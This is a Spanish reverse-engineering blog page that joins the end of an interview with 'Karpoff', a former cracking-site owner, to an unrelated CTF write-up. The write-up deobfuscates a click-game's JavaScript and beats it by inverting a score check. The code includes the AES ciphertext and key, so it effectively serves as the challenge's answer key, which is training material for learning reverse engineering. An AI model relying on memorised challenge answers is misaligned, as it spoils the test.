Karpoff: La verdad es que no, ya no es mi tiempo, ahora me dedico al trabajo y mi familia y en ratos libres intento reventar algún programa. Sobre todo crackmes.
deurus: ¿Tienes o colaboras activamente en algún proyecto relacionado con la Ingeniería Inversa?
Karpoff: No, no tengo tiempo. Mantengo contacto por correo con gente de que conocí en esa época y me sorprende que la gente no se olvida de mí. Recibo bastante correo en esta cuenta pidiéndome alguna entrevistilla, opiniones y muchos muchos agradecimientos de mucha gente por la página.
deurus: Yo por aquel entonces tenía 17 años, ¿se le puede preguntar la edad a Karpoff?
Karpoff: Pues yo tengo 45, por aquel entonces tenia unos 29 . La ingeniería inversa siempre fue mi pasión. Desde bien pequeño mi obsesión ha sido conocer como y porque funcionaba todo 🙂 hasta el punto de desmontar todo aquello que me llamaba la atención, mi madre estaba desesperada ya que dejaba todo destripado y muchas veces sin posiblilidad de reparacion.
deurus: ¿Te dedicas a algo relacionado con la informática?
Karpoff: Si, desde esos tiempos me encargo de los sistemas informáticos y equipos técnicos de una empresa bastante conocida, además ese fue uno de los principales motivos del cierre de la página.
Hubo gente interesada en seguir con el proyecto, aunque finalmente todo quedó en nada. Supongo que vieron que el proyecto requería muchísimo tiempo y mucho mucho trabajo.
Me dio mucha lastima no poder seguir con la página y mucha más que nadie se hiciera cargo de ella.
No hace mucho al desaparecer los redireccionadores “come.to” adquirí un dominio “karpoff.es” donde enlace tres mirror de la página para dejar un punto de acceso a ellos.
deurus: Finalmente ¿quieres decir algo a los lectores?
Karpoff: Pues sí, sobre todo dar las gracias a los que me conocen y tuvieron relación con la página, siempre me han hecho sentir grande y siempre tuve mucha colaboración y muchos ánimos por parte de los lectores.
Para los que no me conocen y les gusta la ingeniería inversa, decirles que lo que se aprende crackeando no lo enseñan en ningún sitio 🙂 y es muy muy gratificante.
deurus: Muchas gracias por tu atención, ha sido un placer.
Karpoff: Muchas gracias a ti, me ha hecho mucha ilusión y me ha gustado mucho tu blog.
Saludos !!
Karpoff
Se nos entrega un html con un juego que consiste en hacer clic en un botón tantas veces como podamos para ganar al juego. Acompañando al html tenemos un código javascript ofuscado aparentemente con Obfuscator.io
El código javascript ofuscado tiene el siguiente aspecto.
(function(_0x144932, _0xfc69c5) { var _0x187428 = _0x588c,
_0x3064c6 = _0x144932(); while (!![]) { try { var _0xb96d19 = -parseInt(_0x187428(0x1bd)) / 0x1 + parseInt(_0x187428(0x137)) / 0x2 + -parseInt(_0x187428(0x140)) / 0x3 * (-parseInt(_0x187428(0x13b)) / 0x4) + parseInt(_0x187428(0x15e)) / 0x5 * (parseInt(_0x187428(0x18c)) / 0x6) + -parseInt(_0x187428(0x159)) / 0x7 * (parseInt(_0x187428(0x1c3)) / 0x8) + parseInt(_0x187428(0x129)) / 0x9 * (-parseInt(_0x187428(0x149)) / 0xa) + parseInt(_0x187428(0x16d)) / 0xb; if (_0xb96d19 === _0xfc69c5) break;
else _0x3064c6['push'](_0x3064c6['shift']()); } catch (_0x377a04) { _0x3064c6['push'](_0x3064c6['shift']()); } } }(_0x5be3, 0x6fe59));;
function _0x5be3() { var _0x5a2048 = ['Utf8', 'push', 'createDecryptor', 'Malformed\x20UTF-8\x20data', '_ENC_XFORM_MODE', 'string', '_prevBlock', 'extend', '_doReset', 'AnsiX923', 'error', 'fromCharCode', 'object', '130340XnpiqM', '#res', 'HmacSHA256', 'DES', '4FuuDzS', 'finalize', 'byteLength', 'salt', '_keyPriorReset', '372669TnxSTf', '_xformMode', 'HMAC', 'stringify', 'Latin1', 'cfg', 'start', 'padding', 'show', '47650FNyFfQ', 'parse', 'TripleDES', 'MD5', 'ZeroPadding', 'length', 'Rabbit', 'console', 'Base', 'HmacSHA3', 'kdf', '_doFinalize', 'drop', 'BufferedBlockAlgorithm', 'Cipher', 'HmacSHA1', '7PKTjbP', 'CTR', '_reverseMap', 'clone', 'Encryptor', '43750GcrrDy', 'SHA384', 'byteOffset', 'indexOf', 'Word', '#loader', 'algo', 'apply', 'bind', 'HmacMD5', 'Base64', '_key', 'createEncryptor', 'min', '_counter', '4232173VijiOj', '_lBlock', 'You\x20Lose', 'ECB', 'BlockCipherMode', 'ciphertext', 'floor', 'constructor', 'log', 'search', 'flush', 'Iso10126', 'update', 'NoPadding', 'max', 'HmacSHA384', 'SHA512', 'decrypt', '_des2', '(((.+)+)+)+$', 'high', 'U2FsdGVkX189ylLOlgNSxq/TLeSxBr7cYDcRBgMXXS9VmwusKZx1XFDNdpkwg24v98iYGnUATwQVyWwFnlyoCg==', 'charAt', 'return\x20(function()\x20', 'pow', 'prototype', 'compute', 'reset', 'warn', '_rBlock', 'HmacSHA512', '498WcTnbi', 'join', 'HmacSHA224', 'display', '#trim', 'StreamCipher', 'enc', 'click', '#statistic', 'random', 'keySize', 'SHA1', '_process', 'sigBytes', '$super', '#mybut', 'clamp', 'RC4', '_invSubKeys', 'loader', '_cipher', '#backstart', 'BlockCipher', 'formatter', 'WordArray', 'slice', 'decryptBlock', '_minBufferSize', 'execute', '_iv', '_hash', 'mixIn', '__proto__', 'text', 'concat', 'RabbitLegacy', 'ceil', 'splice', 'Utf16LE', 'array[0]', 'function', 'SHA3', 'charCodeAt', 'EvpKDF', 'toString', 'css', '_state', 'Decryptor', 'Hex', '82275HVLogQ', 'ivSize', 'encrypt', '_des1', '_mode', 'words', '5353976ERfqhe', 'init', '_hasher', '_createHmacHelper', '_oKey', 'lib', 'CipherParams', 'x64', '_keySchedule', 'RC4Drop', 'PBKDF2', '__creator', '_subKeys', '_nDataBytes', '_DEC_XFORM_MODE', 'format', 'substr', '_createHelper', '_data', '_parse', '#cssfilter', '_map', 'create', 'OpenSSL', 'hasher', 'table', 'key', 'hide', 'iterations', '#timecount', 'undefined', 'pad', '_iKey', 'CBC', 'OFB', '#apply', 'SHA224', '_keystream', 'mode', 'exception', 'call', 'hasOwnProperty', 'Utf16', 'encryptBlock', '_invKeySchedule', '#buttons', '_doCryptBlock', 'RIPEMD160', 'blockSize', 'low', '_des3', '{}.constructor(\x22return\x20this\x22)(\x20)', '_nRounds', 'Hasher', 'addClass', 'AES', 'CFB', 'sqrt', '171bibExj'];
_0x5be3 = function() { return _0x5a2048; }; return _0x5be3(); }
...
Deofuscado el código con la web Obfuscator.io llegamos a interpretar la estructura aunque sigue siendo un galimatías en gran parte. Aún así, si nos fijamos al final encontramos una parte interesante con una clave encriptada cuya desencriptación depende de una comparación (línea 13 resaltada). Invirtiendo esa comparación engañamos al código y obtenemos la flag.
$("#mybut").click(function () {
_0x4171cc++;
$("#cssfilter").text(_0x4171cc);
});
$("#statistic").addClass("hide");
_0x35a8b9 = setInterval(function () {
_0x97292c--;
$("#timecount").text(_0x97292c);
if (_0x97292c == 0x0) {
clearInterval(_0x35a8b9);
$("#mybut").hide();
$("#buttons").show(0x64);
if (_0x4171cc > _0x43eef3) {
$('#trim').text(CryptoJS.AES.decrypt("U2FsdGVkX189ylLOlgNSxq/TLeSxBr7cYDcRBgMXXS9VmwusKZx1XFDNdpkwg24v98iYGnUATwQVyWwFnlyoCg==", "array[0]").toString(CryptoJS.enc.Utf8));
} else {
$("#trim").text("You Lose");
}
}
}, 0x3e8);
intervalcomp = setInterval(function () {
_0x43eef3++;
$('#apply').text(_0x43eef3);
if (_0x97292c == 0x0) {
clearInterval(intervalcomp);
}
}, 0x32);
}
});
